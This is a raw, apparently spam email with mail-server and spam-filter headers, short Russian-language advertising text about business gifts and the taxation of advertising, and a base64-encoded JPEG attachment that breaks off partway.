X-ASG-Orig-Subj: =?windows-1251?B?RndkOjQ0M1/g8e/l6vJf7/DuX+Tu9e7k?= MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_05D5_01CF389C.CE4D2690" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 Message-ID: X-Barracuda-Connect: bug.itass.su[212.83.24.23] X-Barracuda-Start-Time: 1394028125 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.78 X-Barracuda-Spam-Status: No, SCORE=1.78 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, EXTRA_MPART_TYPE, HTML_IMAGE_ONLY_08, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3620 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 EXTRA_MPART_TYPE Header has extraneous Content-type:...type= entry 1.78 HTML_IMAGE_ONLY_08 BODY: HTML: images with 400-800 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition ------=_NextPart_000_05D5_01CF389C.CE4D2690 Content-Type: multipart/alternative; boundary="----=_NextPart_001_05D6_01CF389C.CE4D2690" ------=_NextPart_001_05D6_01CF389C.CE4D2690 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =20

vip =EF=EE=E4=E0=F0=EE=EA =EF=E0=F0=F2=ED=E5=F0=F3 =E1=E8=E7=ED=E5= =F1 =EF=EE=E4=E0=F0=EA=E8
=20
=ED=E0=EB=EE=E3=EE=EE=E1=EB=EE=E6=E5=ED=E8=E5 =F0=E5=EA=EB=E0=EC=ED= =EE=E9 =E4=E5=FF=F2=E5=EB=FC=ED=EE=F1=F2=E8
=20
=20 ------=_NextPart_001_05D6_01CF389C.CE4D2690 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
3D""=20

 =20 vip =EF=EE=E4=E0=F0=EE=EA =EF=E0=F0=F2=ED=E5=F0=F3 =E1=E8=E7=ED=E5=F1 =EF= =EE=E4=E0=F0=EA=E8
=20

 =20 =ED=E0=EB=EE=E3=EE=EE=E1=EB=EE=E6=E5=ED=E8=E5 =F0=E5=EA=EB=E0=EC=ED=EE=E9= =E4=E5=FF=F2=E5=EB=FC=ED=EE=F1=F2=E8
 

 
------=_NextPart_001_05D6_01CF389C.CE4D2690-- ------=_NextPart_000_05D5_01CF389C.CE4D2690 Content-Type: image/jpeg; name="859384219.jpg" Content-Transfer-Encoding: base64 Content-ID: <7B8217AAE1584796A23859F8938D4BD9@wndjp> /9j/4AAQSkZJRgABAQEAeAB4AAD/2wBDABgQEhUSDxgVExUaGRgcIzsmIyAgI0gzNis7VUtaWFRL UlFeaodzXmSAZVFSdqB3gIyQl5mXW3GmsqWTsIeUl5L/2wBDARkaGiMfI0UmJkWSYVJhkpKSkpKS kpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpL/wAARCAGPAqsDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDqqKKK ACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooA KKKKACiiigAooooAKKKKACiiigAooooAKKKKACiortp0t2a2VGkHQOeKraNfSahZmaRVUhyuF6dB /jQPldrl6ismbUb1tWmsrWKBvLUNmQkcYH+NXZ7r7JY+fdABlUblU8E+goG4tWLNFZtlqMz3K297 CsTyLvj2ngj0+taE3+pf/dNAnFp2Y6iuW0bSI9QszNJNKrbyuFIxV7/hGrf/AJ+Z/wAx/hTNHCKd mzboqC+4sbj/AK5N/KsDSdFivrFJ5J5lZiRhSMcGkTGKau2dNRWJ/wAI1b/8/M/5j/CtmNBHGqAk hQBk0CkktmOorl7HTU1G8vjLLInlynG0+pP+FSanocVnYS3CTzMyYwGIx1Apl+zje1zpKKz7cn/h H0Pf7N/7LUfhok6QmTn5m/nSIcdGzUoorF8Uki0gwSP3o/kaAjHmdjaoqvfWiXtq8L8Ej5W/unsa paNdOgewvCFntx+BTHBzQCjdXRq0VhnOtaiCpBsrc9f75rcAAAA4AoCUbBRWbrF/JbCO3tl3XE/C HsKrL4faZQ97eTPLjqD0HpzQNRVrtm3RWAPtOgzx75TNYyNt+Y/c5NaeqWS39oUGBIOUb0NAONmt dC5RWbpeob7eSO7YJPb8Sdhj1qtbI2r6j9rcA2kJKxj+8aA5N7m3RWJ4qz9jgAJGZccfQ0f8I1b/ APPzP+Y/wpjUVa7Zt0Vl2ehQ2lyk6TzMUzgMRg8Yqt4qVnW0RDgs5A5+lISinKyZu0VmeHpjJpwj dgzxMUPt6VD4kd2hhtYnAeZ+h9B/9egOT3uU2aKx/CxJ0xsnP70/yFbFApLldgooooJCiiigAooo oAKKKKACiiigAooooAKKKKAEyM4zRketVZyROSKdG2/J796ALGR60ZHrUWQTiloAk3D1o3Co+KKA JNwo3Co6WgB+4UbhTKKAH7hSbxTaWgBd4o30lFAC7qN1JRQAu72o3e1JRQAu4+lG40lFAC7jRk0U UAGTRk0UUAHNHNFFABzTs02igB1FIOtLQAUUUUAFFFFABRRRQA2T/Vt9DWR4V/5Bbf8AXU/yFa8n +rb6Gsjwr/yC2/66n+Qpmi+BkN5Dd6XcT6krJMHfDKV5Cnpz+X6VJ4ilWfRIpU+67qw/EGl1vULe exa1t386WUhQqc4wR1p2qWMp8PxwL8zwqpIA64GKC19ly3Ir3/kN6X/uCtqb/Uv/ALprCWSPUNZs Wt2yIY8scfpW7N/qX/3TQTPojmdGGq/Yz9hMQi3n72M54q693rFivn3cccsI4YJ1HvVbQtWtLKxM U7sH3k4Ck8cVZvtbt7i0kgtFeaWUFAu0jGeM0Gkk3L4dDRluI7rSZZoTlHiYj8jWHpA1f7An2Mxe Tk43Yz15rUt7Z7PQHglxvWJycds5NUNF1iztNOSGZ2DgkkBSe9BMdnyq+pPjxB/et/0rZj3eWvmY 34G7HrWb/wAJDp3/AD0f/vg1PNqlrDaR3Ls3lyfdO080ESUn0KPh7/j71L/rt/Vqt+IP+QNcfRf/ AEIVV8NBn+2XO3CTS5XP4n+tWvEH/IGuPov/AKEKOpT/AIn3Bb/8i+n/AF7f+y1kaQNW+wr9iMXk 5ON2M5rXt/8AkX0/69v/AGWszRdXs7PT1hndg4YnAUnvQNXs7K+pO15q1gBLexxyQ5w2zqvvTfEc yXGnWssR3I8oIP4Gl1DWIby1a2sleWSX5MbSMZqDV7d7XRLKCQgsknOPxoHFaptWZ0lc94kIa5iS 2VjdbCWKD+DHf9a19SvUsLRpmwW6KucbjVbR7Fo915dA/ap8ls/wgnpQZw933mSaI0DaZF9nGABh s9c981frEuN2j6j9oRSbW4OJPRGraVgyhlIIPIIpCmtb9zFk58WRA8gRcfka26ytatJ2eK9tMGWD nbj7wpsPiK0MY88SRP3UqTTKackmjWZVYYZQR7ilrAkupdbuUgtVeO2jbdJJnBI9q0dVvvsNuNg3 zOdsaep9aRLg9F1MbxAVe/ZbZX3hP3+wcEe9b2mtC1jCbcYj28CoNI08WkBeUZnl5kJ5/CqiMdG1 HyyP9EuGyGJ+41Mt2kuVdA8V5+xwY6+b/Q0Y8Qf3rf8ASjxUR9jgPbzQf0NT/wDCQ6d/z0f/AL4N A1fkVlcLMaz9pT7UYfJ53bcZ6VB4j/11h/12/wAKsx69YSyLGkjFnIUfIepqt4j/ANdYf9dv8KBR vzq6sSW2bTX5oTny7hd654Ge9NXN5rc8vPl20ZVe43Ef5/KjxGHhW3vYlXfC/wB40/QoiulyTOoD zFnJHcf5zQP7PN8hvhX/AJBbf9dT/IVsVj+Ff+QW3/XU/wAhWxSZnU+NhRRRQQFFFFABRRRQAUUU UAFFFFABRRRQAUUUUAU7j/XGlt+ppLn/AFxpbfqaQyRfv0/FMX79SUxCYoxUE92kDFWWRiF3Hauc CpVlRsAOuSN2M84p2AdilxUX2mDj98nPA560faoCrESoQvXnpSsBLRUX2qDK/vB8/Sj7TDx845wR +NFgJaKgS9gdowrk+YPlOOPb+VWKACiiigAooooAKKKKACloooAKKKKACiiigAorKutcijmaC2hk uZV7J09+f/rVHHr4WVUvbOW2DdGbn+gosX7OXY2aKiuJxFaSXCgOEQuMHrgZ61Hp119tso7jZs35 +XOcYJH9KCbO1yyOtLUcr+VC8mM7FLY9cCq9jf8A2vTzdeVsxu+Xdnp70BZ2uXKKqaXff2haef5f l/MRt3Zp9/eR2Nq80hHA+VScbj6UByu9ixRVDTtQfULJ54oFV1faEaTg9O+Pf0p9jqC3TvDJGYLi M/NExzx6g9xQNxaLlFUrnUPI1K3tPK3ecM792Mfhipb28isoDJKfZVHVj6CgXK9CxTY40iXbGioO uFGBVX7XMlhJdT2wjKpvEfmZP48cVnx6/cyIHj0qZ1PRlYkH/wAdoKUJPY2VhiRy6RornqwUAmn1 if25ef8AQIn/ADP/AMTV/U7/APs+0E/leZlgu3djrQDhK9i1HFHHny0VMnJ2jGaceRg0iNuRWxjI zVbU7z7BaNP5fmYIG3OOtBKTbsSfY7X/AJ9of++BTo4IYm3RxRocYyqgVXu7/wCzaaLzyt2VU7N2 OuO/41Zt5fOt45cbd6BsZzjIzQN3tceQGBBAIPBBqH7Ha/8APtD/AN8Cq2rapHpsa5USSMeI92Dj 16VZt7kTWSXLDYrJvIznFAWklcPsdr/z7Q/98CnNBCyBGijKL0UqMCsg+IGkdvslhNOg43DI/kDS Nr10iln0qZVHJJJAH/jtMr2czbRFRQqKFUdABgCh0WRSrqGU9QRkVBYXP2yzjuNmzeD8uc45xRqF 19is5LjZv2Y+XOM5OP60iLO9upOEUJsCgLjG3HGKi+x2v/PtD/3wKW1m+0WsU23b5ihsZzjNJe3H 2S0kn279gztzjNAa3sPjghiJMUSIT1KqBSyRRygCRFcA5AYZqOyuPtdpHPt2bxnbnOKj1K9FhaGY qHOQAm7GaB2d7dSeSGKXHmxo+Om5QcU+q2nXgvrbzdhjYMVdD1UjtVmgTutGNkjSVdsiK6+jDIpV VUUKihVHQAYArHm12VbuaCGwkmMTFSUYn+lMfXrlFLPpUyqOpJIA/wDHadi/ZyNyo5LeGVt0kMbn pllBNMsbj7XaRz7Nm8Z25ziq9/q9vZv5QDTTngRIMnPbP+c0iVF3si8iLGoVFCqOgUYFNeGKRw7x ozDoSoJFZH9vTJ81xplxFEPvPycfmB/OtOzu4b2ATQNlT1B6g+hoG4yjqyemyRRygCWNHA6Bhms/ VNVaxuI4UtmnaRcgK2D+WDVb+3Lz/oET/mf/AImgFCT1RsPDFIoV40ZR0DKCBTPsdr/z7Q/98Cod NvZbxZDNaPbbSMB8/N+gpl/q9vZv5XzSzngRIMnJ6Z/znnpQFpXsWhaWykEW8QI5BCDinvFHIQZE VtpyNwzisf8At6ZPmuNMuIoh95+Tj8wP51p2d5DewCaBsqeoPUH0NASjJaslkjSRdsiK6+jDIpVR UQIqhVHQAYFZd/rL2t8bWKzadgob5W5/LBqL+3bhfmm0u4SMfebngfkKB+zk0bEcaRLtjRUHXCjA p1V7G8ivrcTQ7tucEMMEGrFBDunqFFFFAgooooAKKKKACiiigAooooAKKKKACiiigCnc/wCuNLb9 TUV9IUnGOhqW1Ocn1FAyVfv0+mL9+oJy7XcMauyqQScd6aVyW7BPC7yzFRw0BQfWq7WczZXaASd2 /P8As4xVx7qNJzC2d4QyfhUA1ODaG+YAw+dz6U1cNAS3kPls0SR7WyQPpioYbWZ40faqlANqnvz3 p76qoiR0gkcMnmHttFLJqsauUWNmbC7R/ezT1FoIunuJFYlDnk9eOe1H9mHaArgfd3e+Cc/zpsuq skrYgzFGwR2zyCaWTVdiTEIu6OURgZ65xzR7waEkVh5UyOGXC4z8vPGen51erP8A7QP9rC02DZjG /wD2sZxUEWpXLTx7lj8p5HTjr8tKzYXSNeiseHUbovE77PLm3bVA5XFAu7wad9raVTv4VdvQ5o5R 3NiisOa8u7eK4jabcyFCH284PWkTUJxFEzSM4FzsJC/My47inyMXMjdoPArKku/td3GtvKyxvC/t hgaNEmmujJLNJnZiMKDxx3/Gly9R3NC3nE28bCpU4INTVVtP9dcf79WqTFF3QUUUUigrO164Nvpc hXIL4QEHGM1o1m+IYWm0qTb1Qh8Y64oKh8SuTaVZx2dlGqAbmAZmx1NT3NvHcwtFKoZWHeotMuY7 qyjeMjhQCM9DU80qQRNJIwVVGSTQDvzeZn/ZXstBuIJJRJtifaQuMDHT+dVdF1Ozt9LhimnVHXdk EH+8attd/btDuZ/KaMGNwATnIx1qvodhaT6VDJLbxu53ZYjk/MaZp9l83cnudYsHtpVW5UsyEAYP XH0qLQv+Rfb6PVi60yyW1mZbWIEIxB29OKr6F/yL7fR6A93l07j/AAxxpIJ/vtVYn+2tTbk/ZLXn bwQ7VRtrqQaPHZWw3SzyMDgZwtdHY2aWNkIUwSB8zY+8aBz91t9WUPCn/IMf/rsf5Crmo2H2nbNC 3lXUfMcg/kfaqfhT/kGP/wBdj/IVNql9KkyWVoCbiXqw52D1o6ilf2jsY1xqobU7W4mTDwArIFOQ Tz0rY0+1e6lGoXhDOR+6QHKoP8azbjTbeDV7G227ldTvJ6seeau2s76XeLYTFmt3/wBTIe3tQXOz Xul7Vv8AkF3X/XNv5Vn6Pqllb6ZDFNcKrqDkYPHJrQ1b/kF3X/XNv5VR0XT7SbS4JJbeN3YHLFeT yaDONuTXuWv7a07/AJ+l/I/4VW8UnOlAj/nov8jV3+yrD/n0i/75ql4p40of9dB/I0BDl5lYni1n T1iQG5XIUA8H/CqOu6lZ3OmvFBOHcsDgA+taMWl2JiQm1iJKj+GqGv2FrBpjyQ28aOGHKjnrQOPJ zK1yTV/+RaX/AHI/6Vet5kt9IhmkOESBSf8AvkVR1f8A5Fpf9yP+lU3L6q1pp0RIhjiRpXA6Hb/n 8aBqN4/Mimje+sLzVLjPPywocHau4f8A6vzrUMby+F1SNSzmAYA71JrcaxaHOkahVVQAB25FTaY4 j0e3duiwgn8qBOV438yrod3aLp0cfmJG6cOrEKc1Nql1btptyqzxEmM4AcZNZtjp6avLJeXCqsRY hVQYJ9zU2oaHYwWM8saMHRCR8560Dajz+Zd0D/kD2/0P8zSeIP8AkDXH0X/0IUugf8ge3+h/maTx B/yBrj6L/wChCjqR/wAvPmQafq1hFYW8clwqusagjB4OPpTdV1Wxn02eKK4VnZcAYPNS6dptlJp9 u720TM0akkr1OKZq2nWcWmTyR20auq5BC8igr3ObqWtF/wCQTbf7lVNRIvdYtbMHckZ8yQbcj2B/ z3q1o5C6PbsegjzWLZJqVzcz39i0eJGK5f047flQEV7zZoWeLPxBc2/yhLlRKnJJz3/9mNbFcxqE WqxmK+u/KYWzBhtOO444rpIZVmhSVM7XUMM+hoFUWzMfR/8AkNan/v8A9TV/Wf8AkE3P+4aoaP8A 8hrU/wDf/qav6z/yCbn/AHDQEvjXyK+nzfZ/Dsc2M7Ii2Pzpnhy3H2VruRVM07E7++M/pzmn2MJu PDiQqcF4iAfzpvhyfdY/Z3wssDFSvfGf8c0De0rdzW69aw41XTfEIhhAEV0udg/hPP8AgfzrcrEy L7xIjwkFLVMMw5BPPH6/pQTDqGp/8jFp/wBP8a26xNT/AORi0/6f41t0BPZEV3N9ntZZsZ8tC2PX FZnhy3BtmvJVUzTuTv74z+nOa0ryE3FnNCpwXQqD+FZ/hufNibZ8LLAxUr3xn/HNAL4HY1uvWsNV XTvEKxwgCK6XJQfwn/Oa3KxGIvvEcbQkFLVfmYcgnnj9f0oCHUjuLiK18UGSdwieVjJ+lXpNb04R sfPD8fdCnmqU0MVx4pMcyK6eVnDDjpWkdKsCP+PSL/vmgqXLpfsUvDcEiR3E7R+XHO4aNfQc/wCN bNYmisbfVLuxRy8KDcuTnHTj9f0rbpMmp8QUUUUGYUUUUAFFFFABRRRQAUUUUAFFFFABRRRQBmal /rh9Kms/u/hTL9AzsT1AzT7PhR9KAJ1+/UMn/IQh/wB01Mv36jmhd545UcLt4OR1pomWxn30DTao 2C6gWx5Xvz0qmtrNKLVPLYL9lG/j0ycfniujpapTsHLcwZFmOnw27W8p/djaU/vehpJLG6N2LkIf MiVMAdG9a36KOcOUw5bW6ZpoRCds0qyb88AU6TTJHE7eWvmNOGUk/wAPFbOaM+9LmYWRjnTbnzft Ib979oMmwnjb0/PFSRabKq228rlHd3x/telamR6im+bH/fX160czCyMyDTLgNGsjp5cO7Zjqc+tT /wBnk6WLRn+YdGHrmrnmx4zvGPrSGeIMBvGTRdhoZ50uSSOXzZwZZCp3AcDFO/sr5B+/YS+b5pcD vjFXhPGX2Buako5mCSZnrpMaj5ZXDbGUt3O45Jqe3sorSRpIsgFQCvY471ZpaV2x2KtkSxmfaVDP kZFWqKKG7glZBRRRSGFBGRg9KKKAMibRWSZprC5a3Zj93+H3qMaLdXEi/b70yxr/AAr3rboouX7S RBPbB7GS2iAQNGUX0GRimaZatZWMdu7BimeR05JP9atUUE3drDJkMsEkYOC6lc/UVV0+we0002rO rMd3zDpzV0UtAXdrGTo2ijT5GllZZJOilew71rEZBFFFA5ScndmbpthPp+nyQJJG0rMWViDgcAf0 p+l6c1mZJZ5PNuJT8z1fooBzbv5lC6sHn1S2uw6hYRgqep61NqFml9atC52nqrDsas0UBzPTyM9L O6bTJbS4mR3ZCquM/rVGHSdUgiWOLUFRF6AA8VvUUDU2jE/s7WP+gkPyNWtQ0+a80yO2aVfNUqWc 9CQK0aKA53uJGu2NVPYAVU1aza+smgRgpJByfarlFBKdnco3tg9zpQtFdQwVRuPTjH+FGkacunW2 zhpGOXYd/Sr1FA+Z2sVtStmvLGW3VgpcDBPTrmoZLKU6OtkjqH2BC3OKv0UApNaENlbi0tI4Ac7B jOOtF7CbmzmhUgGRCoJ7VNRQK7vcrabbNZ2MVuzBigOSOnXNGpWrXljLbowUvjBPTqDVmigLu9yG zhNvaQwsQTGgUkd8Ckv7drqylgVgpdcAntU9FAX1uUBZSro4s0dRJs2b+cVPYWos7OOAHO0cnHU1 YooG5N6EdzCtxbyQtwJFK5x0z3rPjsL2LS0tYrlUkR8iQZ5Xnj9a1KKAUmtDP0jTTYJIZHEk0hyz VZvoDdWcsCkKXXAJ7VPRQDk27lfT7drSyigZgxQYJFVb3R0mlNxbSNb3HXcvQn3FaVFAKTTuYn9l alL8lxqRMZ+9t61pafYw2EAjiGT/ABMerGrNFAObehQu7B59TtrpXULCOVPU1foooE22FZt7pEc8 puLeRre467l6E+/6VpUUApNbGJ/ZWpS/JPqRMZ+9t61o6fYQ2EHlxDJPLMerGrVFA3NtWMi+0q6m 1E3drcrCSoXoc1H/AGbq54OpDHfituii4/aMqadp0WnxkJlnY5Z26mrdFFBLbbuwooooEFFFFABR RRQAUUUUAFFFFABRRRQAUUUUAU7n/Wn6Utt1NJc/640tv1NAyVfv0+mL9+n0CK9w0odRHnGOePyq IecehkwORnj0/wDr1YedUlWMgksRSPOylgEzhguc9TVozdr7lb98+QnmZPrT/JnIwSSPTNP+1Ejh Ofc0LcuWA2qBnBp3ZNl3GyW7lmCjjsc9vSkFvOBtBABGDk/WnyXLCRkAAwcAmmG6l6ADkDBx+f6U LmD3SRbdgkqkj9509vakeBymQE3YxgD3pjzyqG5PP3cD6/4Upmn6gHHbA60WYXiKLYlyGIAIOfrT vsxWPapzgYA6VHF5zTIXB46nFXaTbQ4pMrx25WQMW4GMAdzViiipbuaJJBS0lLSGFFFFABRRRQAU UUUAFFFFABRRRQAClpBS0AFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFAB RRRQAUVjJrMgtr15ljSSBtqLg8+mRUj6pIZdPWFEdbn75weOmcfrQX7ORq0VmjUmXVri2nCJDHH5 isQcnABP17/lVY61MdIS6jSNpjL5bJg4HXH6YoD2cjborOutQlg1G1gKIIph8zNng+lRDWN8V+0e xjb8oMHkepoDkZrVTu7i8il229j56Yzv80Lz6YNS2E0lxZRTSqEd1yQBjFVdfuRb6XL03SDy1B75 6/pmgUV71g0zVTe281xJD5MUX8W7dnAye3bj86gGut5a3D2bLZs+0S+YCf8Avn8KmsLMQ6EIGIQy REuxGMFh3+nT8KwBcxzaVb6fyh807pWHyjk/40zWMYtuyOjvtSFs8MUMRnnm5RM7Rj6miw1EXUks MsRgnh++hbcAPXNUNYZLXUNPuGbcE+UqoySPWk0grc3N/dqwBkBHlfxD60C5Fy3JG18hmkWzdrVZ NhmDf0/+vV3UdRSygjdE895WAjRT973/AM+orno5ox4angLgSiUEoeD1H+FW9RYRrokz5EabSzY4 H3T/AENBTpq+xqafqJu5poJoDbzxHlC2cj1H+fSrF9c/ZLOSfZv2DO3OM1lWjpJ4quWjZWUwjBU5 HRava5/yCLn/AHf6igzcVzJFWLXH3wG5s2hhn+5IH3D+VW21DGrrY+V1Tdv3f0rBjlOpRWFnbRsW gwzseAK0H/5G2P8A64/0NBcoJdO5eg1DztUnsvKx5S7t+7r07fjV2sSx/wCRovv+uY/9lrbpGc0k 9AooooICiiigAooooAKKKKACiiigAooooAKKKKAKdz/rjS2/U0lz/rjS2/U0hkq/fp9Rr9+pKYhh iQyeYR83HNJJCrjB4y24+9SUU7isiNYUDE4znAx6U8Io6KKWlouFkIVU9QKMD0FLRSHYTFLRRQAU UUUAFFFFABRRRQAUtJRQAtFFFABRRRQAUUUUAFFFFAAKWkFLQAUUUUAFFFFABRRRQAUUUUAFFFFA BRRRQAUUUUAFFFFABRRRQAUUUUAFFFFAHMSW7TeIZ7aRPkmYM2Tj5RzxRpcMqeIRCRlbcMox/CvO P510X2aH7R9o8tfNxjf3xQltCk7zpGolcYZh1NO5t7XS3kYGvrKNZgMag+dEYVJ6ZOVP/oQqG6s2 tdZtrSBf3JkWVFzk9s/+gmulltoZpI3ljVmjOUJ/hP8AkUNbQvOs7RqZUGFbuP8AOaLgqtkjI8U7 0jtZlXIjkyf0x/Ks3VLN7W2hZAAbkfvADnLZzxXVTwRXMflzoHTOcGkmtYJ1RZYlcIcqD2ouEanK kiP7RFZ2sAuXEeVC8+uOlZOtut1q1pZMwEanfJlsD/8AXgH862p7aG5CieNXCnIz2NRTabZzyNJL bo7t1YjrQTGSTuOuiLixuFhIkLRso2nPOOlcxJLE3huGBWBmEx+Udep/xFdVb28NshSCNY1JyQPW o10+0Wbzlt4xJnO7HegcJqJlaliLVdNml+WILgsemado7LJrl/JHzGejDp1rYuLeG5TZPGsi5zhh Rb28NsmyCNY1znCigOdctjE1e3hudWt7SKJEkc+ZJIBg4/zmtm7WH7LIbhA8SKWZSM8DmlW2hWcz iNfNYYLd6fLEk0bRyqGRuoPekS5Xt5GR4at8QzXm1U89ztVeigE/1zUuqXMN1o100EgcKMEjscit KONIo1jjUKijAA7VEtlbJC8KwqI5Dll7GmPmTlzM5+L/AEJ9MvF4WRBG+Oc/hVu4dYfFUTysEUxY DHpnBrWazt3gWFolMa/dXHSie0t7hFWaJXC9M9qB+0Tepk6Y6y+I72SM7k2Y3Dp2/wAK3Kit7aG2 QpBGsak5IUVLSIk7vQKKKKCQooooAKKKKACiiigAooooAKKKKACiiigClcMDOwB5AGRTrfqaztSd o9QZkODgVLbX6gHzEOfaq5H0IVRbM0F+/UlUF1CPf9xsU7+0U7Rt+dHIw9pHuXaKo/2h6RfrR9vb tGPzo5GHtIl6iqP22T+6tJ9rlP8Ad/KnyMPaI0KKz/tM3qPyo8+U/wAf6UcjDnRoUVn+bIf4zS7n P8TfnRyhzl+kzVLDnufzpdh7mlyhzFzcPUUm9f7w/OquwUvA6AUcocxZ3r/eFHmIO9Vs0lHKHMyw Zk9aTz096r0lPlQuZlj7SvoaQ3Sj+E1XNNNPlQuZk5vP9j9aab1uyD86gNNNPlQuZk5vZP7q003s v+z+VQmmmnyolyZKbyb+8B+FNN1Of4z+VR4zR0qrIlyZf0+SRy+9iauVR03+Or1Yy3N4fCFQX12l latPIrMq44XrycVPWZ4k/wCQPN9V/mKk1irySK//AAksH/PtP+Qqa016G6uo7dYZUZ+hbGOlXtP/ AOQfbf8AXJf5Csu+/wCRosf+uZ/9mpmi5XdWNuiqep6gmnwqxQySOcIg7ms7+0NajQTyWKmLqVA+ bH55H5UiFBtXN2iqltqMNxYG85VFBLgjkY61mpqeq3hMljZKIexk7+/UUAoNm7RWXYanNdxTxPB5 V5EmRG3G444ODz1/mOapXOp6zatGs9vAplO1O+T+DUWGqbbsdDRWfYTaiTI2owxxIq5BQ5+vc1U/ tTUb0s+m2itCpxukP3v1FAuRm3RWXp2pzvdtZ38IiuOq7RwwqC51HUTqs1pZQwyeWA3zcHGB7j1o D2bvY26KwZNV1OxKvqFonkscZQ9D+Zq5quoS2htPJCkTPtbcO3H+NAezdzSorO1XU/shWC3Xzbp/ up1x9ale6ez083F+V3gciMcZ7CgXK7FyisRb3W51EsFlEsTDKhzzj8x/Kruk6j9viYOhjniO2VCO h/yDQNwaVy9RVbU7h7SwlnjCl0GRu6dayob3XZ4lljtYGRxkHIGR/wB9UAoNq5vUVk6TqF3c3s9v eJGjRLyEHf8AM0/VNUa1lW2toWnuXGQoBwB6+9AcjvY06Kwm1TVLIh7+yXyT1aP+Hkd8n+lbcUiz RJJGco4DKfUGgUotFTU9Sj05Y2kR33kgbao/8JLB/wA+0/5CjxH/AK2w/wCu3+FbdMv3VFNooafq 9tfP5abkl/uOOav1gX/lHxHafZv9aD++2f1/CtHVNSWwWNVjaWaU4SMd6BShquXqXqKwTqOswRrP cWKGHGSF4IGO/Jx+IrWtryK4sxdISI9pJyORjrSE4NFiisMarqV65bTrNTCOjSfxfqKs6XqclzM1 tdw+RcKM4PG76A0A6bSNOism/wBVmW6Nnp9uZplxuJHC/wCfWoo9VvrW4SPVLVY45GAEin5Vz6nJ H60B7N2Nuis7Vb+WzuLOOIIRPJtbcO2R0/On6xf/ANn2ZkXBkY4QHuaBKLdvMvUVk2+pzy6HJesq eaucAA44q3ZXZl02O6nKrlNzY4AoBwaLdFY2javNqF7LG6oI1UsuBg9RjPNbNASi4uzCiiigkKKK KACiiigAooooAKKKKACiiigAooooAwtUGb9h7Cq8fWrOpf8AIQP0FV4+projsckt2PHWnAUig5qQ LVEjcgMATyaduX+8PzpkiIXwzkbhyKb5VsDy360ikTrz0p4U+lNg2BNsZyBUoqWUgCeppwUe9IKc KRSFGPSnZpopwFSMM0c015I4hmR1X6mqc2s2cXAcyH0UUFWL2KXFYM/iF8HyIVHuxzWdPqt7Pw07 Aei8CiwWOwxSYrj4NSvIP9XO+PQ8itGDxDMABNEj+pXg0WY7G/ikIrPh1y0k+/ujPuMirkVxBMP3 cqN+NFmIcRTSKkIpCKBERFNIqQik25qhMjxRt9akIA6Uw0yWMNNNPNMNNEMvaZ91/rV2qem/6t/r VysZbnRD4QrH8TSH7EkCAM00gG3vjrx+lbFcsq6jqWoyzQvGTauVXf0HJxxj2pI3prW/Y6aGMQwx xKSQihQT14FY99/yNFj/ANcz/wCzUeX4g/57W/5D/Cqd9b6tC41GeSIvAuAVx0+mPeguEdd0WtV2 HxBYeZt2453dOprcbG07sYxzmsuS0OraXbSSSbJwodXA6H6VXNnrciCB7pBH0Lg/NiglpNJX2Mwb f7K1LZjb5y4x0xmun03YNOt/L27fLH3emcc/rUdtpsMGnmz5ZWB3nuSaz00/VrLMVlco0PYP2oKk 1PS5rqLb7U5URfaMfMRjfjjr39KyvEX/AB8af/12/qKtaVpr2jyT3MvnXEgALHsPTP8AnoKTV7Ga 8ltGi24ik3Nk444/woJjZT3L1xMtvbvM/wB1Bk1jR3OsakvnWnlW0OflDclvzB/pWzcwJcwPDJna 4wcVjRWWs2i+TbTxGFT8m7rj8qAha3n5kFqt2niWEX0iSS+WeV6YwfYUkqXj+JLsWEiRybBkv0xh fY+1WbHSbyHVku55VlBBLHPOSOlFzYakurT3dk0SiQBfmPbA9vag05lffoVdSttTEKy6lItxbxtl kjbb/SpNfl8+10+W3BBdsoD17YqWSx1i8Ahu54xAx+fZjOPyqxqOmPKllHbbQluwzuPbj/CgXMk1 co2KSaZqym+G9rhcCY9FbuM1r6pfrp9t5pXexO1VzjJpdTsUv7RoiBvHKMexqmdNuLrS1trwhZYj mORWz+dBN4ys2RquvzqJVlghDDIjI+7+hpnhoSC81ETENIHG8joTls09bfXmURvcRKpG0sOSB69O tS6Fps+nPc+cysHI2kHrjP8AjQNtcrWhPrv/ACB7n/dH8xUmj/8AIKtv+uYpdUt3utPmgixvcADJ 